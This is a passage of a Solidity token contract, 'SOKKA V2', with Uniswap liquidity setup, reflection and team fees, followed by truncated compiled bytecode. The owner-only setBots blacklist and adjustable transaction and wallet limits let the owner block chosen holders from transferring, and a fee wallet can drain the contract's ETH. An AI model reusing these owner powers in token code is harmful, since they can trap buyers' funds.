_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf914610565578063d94160e01461057c578063dd62ed3e146105b9578063f4293890146105f65761018c565b8063b515566a146104ea578063c024666814610513578063c0a904a21461053c5761018c565b8063715018a6146103ee57806381bfdcca1461040557806389f425e71461042e5780638da5cb5b1461045757806395d89b4114610482578063a9059cbb146104ad5761018c565b8063313ce5671161013e5780635342acb4116101185780635342acb4146103225780635932ead11461035f578063677daa571461038857806370a08231146103b15761018c565b8063313ce567146102b557806349bd5a5e146102e057806351bc3c851461030b5761018c565b80630445b6671461019157806306fdde03146101bc578063095ea7b3146101e757806318160ddd1461022457806323b872dd1461024f578063273123b71461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661060d565b6040516101b3919061366a565b60405180910390f35b3480156101c857600080fd5b506101d1610613565b6040516101de91906134c8565b60405180910390f35b3480156101f357600080fd5b5061020e60048036038101906102099190612fcf565b610650565b60405161021b91906134ad565b60405180910390f35b34801561023057600080fd5b5061023961066e565b604051610246919061366a565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612f3c565b61067f565b60405161028391906134ad565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612ea2565b610758565b005b3480156102c157600080fd5b506102ca610848565b6040516102d791906136df565b60405180910390f35b3480156102ec57600080fd5b506102f5610851565b60405161030291906133df565b60405180910390f35b34801561031757600080fd5b50610320610877565b005b34801561032e57600080fd5b5061034960048036038101906103449190612ea2565b6108f1565b60405161035691906134ad565b60405180910390f35b34801561036b57600080fd5b5061038660048036038101906103819190613058565b610911565b005b34801561039457600080fd5b506103af60048036038101906103aa91906130b2565b6109c3565b005b3480156103bd57600080fd5b506103d860048036038101906103d39190612ea2565b610a62565b6040516103e5919061366a565b60405180910390f35b3480156103fa57600080fd5b50610403610ab3565b005b34801561041157600080fd5b5061042c600480360381019061042791906130b2565b610c06565b005b34801561043a57600080fd5b50610455600480360381019061045091906130b2565b610ca5565b005b34801561046357600080fd5b5061046c610d44565b60405161047991906133df565b60405180910390f35b34801561048e57600080fd5b50610497610d6d565b6040516104a491906134c8565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf9190612fcf565b610daa565b6040516104e191906134ad565b60405180910390f35b3480156104f657600080fd5b50610511600480360381019061050c919061300f565b610dc8565b005b34801561051f57600080fd5b5061053a60048036038101906105359190612f8f565b610ef2565b005b34801561054857600080fd5b50610563600480360381019061055e9190612f8f565b610fe2565b005b34801561057157600080fd5b5061057a6110d2565b005b34801561058857600080fd5b506105a3600480360381019061059e9190612ea2565b611713565b6040516105b091906134ad565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db9190612efc565b611733565b6040516105ed919061366a565b60405180910390f35b34801561060257600080fd5b5061060b6117ba565b005b600b5481565b60606040518060400160405280600881526020017f534f4b4b41205632000000000000000000000000000000000000000000000000815250905090565b600061066461065d61182c565b8484611834565b6001905092915050565b6000683635c9adc5dea00000905090565b600061068c8484846119ff565b61074d8461069861182c565b61074885604051806060016040528060288152602001613e3260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fe61182c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120d59092919063ffffffff16565b611834565b600190509392505050565b61076061182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e4906135ea565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b861182c565b73ffffffffffffffffffffffffffffffffffffffff16146108d857600080fd5b60006108e330610a62565b90506108ee81612139565b50565b60056020528060005260406000206000915054906101000a900460ff1681565b61091961182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099d906135ea565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b6109cb61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4f906135ea565b60405180910390fd5b8060128190555050565b6000610aac600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c1565b9050919050565b610abb61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3f906135ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c0e61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c92906135ea565b60405180910390fd5b8060138190555050565b610cad61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d31906135ea565b60405180910390fd5b80600b8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f534f4b4b41000000000000000000000000000000000000000000000000000000815250905090565b6000610dbe610db761182c565b84846119ff565b6001905092915050565b610dd061182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e54906135ea565b60405180910390fd5b60005b8151811015610eee57600160076000848481518110610e8257610e81613a27565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ee690613980565b915050610e60565b5050565b610efa61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906135ea565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610fea61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e906135ea565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6110da61182c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e906135ea565b60405180910390fd5b601160149054906101000a900460ff16156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061364a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061124730601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611834565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561128d57600080fd5b505afa1580156112a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c59190612ecf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561132757600080fd5b505afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f9190612ecf565b6040518363ffffffff1660e01b815260040161137c9291906133fa565b602060405180830381600087803b15801561139657600080fd5b505af11580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190612ecf565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061154b30610a62565b600080611556610d44565b426040518863ffffffff1660e01b81526004016115789695949392919061344c565b6060604051808303818588803b15801561159157600080fd5b505af11580156115a5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115ca91906130df565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116bd929190613423565b602060405180830381600087803b1580156116d757600080fd5b505af11580156116eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170f9190613085565b5050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117fb61182c565b73ffffffffffffffffffffffffffffffffffffffff161461181b57600080fd5b60004790506118298161242f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b9061362a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190b9061352a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119f2919061366a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a669061360a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad6906134ea565b60405180910390fd5b80611ae984610a62565b1015611b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b219061356a565b60405180910390fd5b611b32610d44565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ba05750611b70610d44565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156120c557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c495750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c5257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611d4e5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d4d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15611d9957601254811115611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f906135aa565b60405180910390fd5b5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e435760135481611df784610a62565b611e0191906137a0565b1115611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e399061358a565b60405180910390fd5b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611eee5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f445750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f5c5750601160179054906101000a900460ff165b15611ffd5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611fac57600080fd5b603c42611fb991906137a0565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061200830610a62565b9050601160159054906101000a900460ff161580156120755750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561208d5750601160169054906101000a900460ff165b801561209b5750600b548110155b156120c3576120a981612139565b600047905060008111156120c1576120c04761242f565b5b505b505b6120d083838361252a565b505050565b600083831115829061211d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211491906134c8565b60405180910390fd5b506000838561212c9190613881565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561217157612170613a56565b5b60405190808252806020026020018201604052801561219f5781602001602082028036833780820191505090505b50905030816000815181106121b7576121b6613a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561225957600080fd5b505afa15801561226d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122919190612ecf565b816001815181106122a5576122a4613a27565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061230c30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611834565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612370959493929190613685565b600060405180830381600087803b15801561238a57600080fd5b505af115801561239e573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000600954821115612408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ff9061350a565b60405180910390fd5b600061241261253a565b9050612427818461256590919063ffffffff16565b915050919050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61247f60028461256590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124aa573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124fb60028461256590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612526573d6000803e3d6000fd5b5050565b6125358383836125af565b505050565b6000806000612547612920565b9150915061255e818361256590919063ffffffff16565b9250505090565b60006125a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612982565b905092915050565b6000806000806000806125c1876129e5565b95509550955095509550955061261f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127035750600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128075761275a86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef896040516127fa919061366a565b60405180910390a3612915565b61285985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128a581612af5565b6128af8483612bb2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290c919061366a565b60405180910390a35b505050505050505050565b600080600060095490506000683635c9adc5dea000009050612956683635c9adc5dea0000060095461256590919063ffffffff16565b82101561297557600954683635c9adc5dea0000093509350505061297e565b81819350935050505b9091565b600080831182906129c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c091906134c8565b60405180910390fd5b50600083856129d891906137f6565b9050809150509392505050565b6000806000806000806000806000612a028a600c54600d54612bec565b9250925092506000612a1261253a565b90506000806000612a258e878787612c82565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a8f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120d5565b905092915050565b6000808284612aa691906137a0565b905083811015612aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae29061354a565b60405180910390fd5b8091505092915050565b6000612aff61253a565b90506000612b168284612d0b90919063ffffffff16565b9050612b6a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bc782600954612a4d90919063ffffffff16565b600981905550612be281600a54612a9790919063ffffffff16565b600a819055505050565b600080600080612c186064612c0a888a612d0b90919063ffffffff16565b61256590919063ffffffff16565b90506000612c426064612c34888b612d0b90919063ffffffff16565b61256590919063ffffffff16565b90506000612c6b82612c5d858c612a4d90919063ffffffff16565b612a4d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c9b8589612d0b90919063ffffffff16565b90506000612cb28689612d0b90919063ffffffff16565b90506000612cc98789612d0b90919063ffffffff16565b90506000612cf282612ce48587612a4d90919063ffffffff16565b612a4d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d1e5760009050612d80565b60008284612d2c9190613827565b9050828482612d3b91906137f6565b14612d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d72906135ca565b60405180910390fd5b809150505b92915050565b6000612d99612d948461371f565b6136fa565b90508083825260208201905082856020860282011115612dbc57612dbb613a8a565b5b60005b85811015612dec5781612dd28882612df6565b845260208401935060208301925050600181019050612dbf565b5050509392505050565b600081359050612e0581613dec565b92915050565b600081519050612e1a81613dec565b92915050565b600082601f830112612e3557612e34613a85565b5b8135612e45848260208601612d86565b91505092915050565b600081359050612e5d81613e03565b92915050565b600081519050612e7281613e03565b92915050565b600081359050612e8781613e1a565b92915050565b600081519050612e9c81613e1a565b92915050565b600060208284031215612eb857612eb7613a94565b5b6000612ec684828501612df6565b91505092915050565b600060208284031215612ee557612ee4613a94565b5b6000612ef384828501612e0b565b91505092915050565b60008060408385031215612f1357612f12613a94565b5b6000612f2185828601612df6565b9250506020612f3285828601612df6565b9150509250929050565b600080600060608486031215612f5557612f54613a94565b5b6000612f6386828701612df6565b9350506020612f7486828701612df6565b9250506040612f8586828701612e78565b9150509250925092565b60008060408385031215612fa657612fa5613a94565b5b6000612fb485828601612df6565b9250506020612fc585828601612e4e565b9150509250929050565b60008060408385031215612fe657612fe5613a94565b5b6000612ff485828601612df6565b925050602061300585828601612e78565b9150509250929050565b60006020828403121561302557613024613a94565b5b600082013567ffffffffffffffff81111561304357613042613a8f565b5b61304f84828501612e20565b91505092915050565b60006020828403121561306e5761306d613a94565b5b600061307c84828501612e4e565b91505092915050565b60006020828403121561309b5761309a613a94565b5b60006130a984828501612e63565b91505092915050565b6000602082840312156130c8576130c7613a94565b5b60006130d684828501612e78565b91505092915050565b6000806000606084860312156130f8576130f7613a94565b5b600061310686828701612e8d565b935050602061311786828701612e8d565b925050604061312886828701612e8d565b9150509250925092565b600061313e838361314a565b60208301905092915050565b613153816138b5565b82525050565b613162816138b5565b82525050565b60006131738261375b565b61317d818561377e565b93506131888361374b565b8060005b838110156131b95781516131a08882613132565b97506131ab83613771565b92505060018101905061318c565b5085935050505092915050565b6131cf816138c7565b82525050565b6131de8161390a565b82525050565b60006131ef82613766565b6131f9818561378f565b935061320981856020860161391c565b61321281613a99565b840191505092915050565b600061322a60238361378f565b915061323582613aaa565b604082019050919050565b600061324d602a8361378f565b915061325882613af9565b604082019050919050565b600061327060228361378f565b915061327b82613b48565b604082019050919050565b6000613293601b8361378f565b915061329e82613b97565b602082019050919050565b60006132b660268361378f565b91506132c182613bc0565b604082019050919050565b60006132d9602b8361378f565b91506132e482613c0f565b604082019050919050565b60006132fc602d8361378f565b915061330782613c5e565b604082019050919050565b600061331f60218361378f565b915061332a82613cad565b604082019050919050565b600061334260208361378f565b915061334d82613cfc565b602082019050919050565b600061336560258361378f565b915061337082613d25565b604082019050919050565b600061338860248361378f565b915061339382613d74565b604082019050919050565b60006133ab60178361378f565b91506133b682613dc3565b602082019050919050565b6133ca816138f3565b82525050565b6133d9816138fd565b82525050565b60006020820190506133f46000830184613159565b92915050565b600060408201905061340f6000830185613159565b61341c6020830184613159565b9392505050565b60006040820190506134386000830185613159565b61344560208301846133c1565b9392505050565b600060c0820190506134616000830189613159565b61346e60208301886133c1565b61347b60408301876131d5565b61348860608301866131d5565b6134956080830185613159565b6134a260a08301846133c1565b979650505050505050565b60006020820190506134c260008301846131c6565b92915050565b600060208201905081810360008301526134e281846131e4565b905092915050565b600060208201905081810360008301526135038161321d565b9050919050565b6000602082019050818103600083015261352381613240565b9050919050565b6000602082019050818103600083015261354381613263565b9050919050565b6000602082019050818103600083015261356381613286565b9050919050565b60006020820190508181036000830152613583816132a9565b9050919050565b600060208201905081810360008301526135a3816132cc565b9050919050565b600060208201905081810360008301526135c3816132ef565b9050919050565b600060208201905081810360008301526135e381613312565b9050919050565b6000602082019050818103600083015261360381613335565b9050919050565b6000602082019050818103600083015261362381613358565b9050919050565b600060208201905081810360008301526136438161337b565b9050919050565b600060208201905081810360008301526136638161339e565b9050919050565b600060208201905061367f60008301846133c1565b92915050565b600060a08201905061369a60008301886133c1565b6136a760208301876131d5565b81810360408301526136b98186613168565b90506136c86060830185613159565b6136d560808301846133c1565b9695505050505050565b60006020820190506136f460008301846133d0565b92915050565b6000613704613715565b9050613710828261394f565b919050565b6000604051905090565b600067ffffffffffffffff82111561373a57613739613a56565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137ab826138f3565b91506137b6836138f3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137eb576137ea6139c9565b5b828201905092915050565b6000613801826138f3565b915061380c836138f3565b92508261381c5761381b6139f8565b5b828204905092915050565b6000613832826138f3565b915061383d836138f3565b9250817ffffffffffffffffffffffffffffffffffffffffffffffffffffffff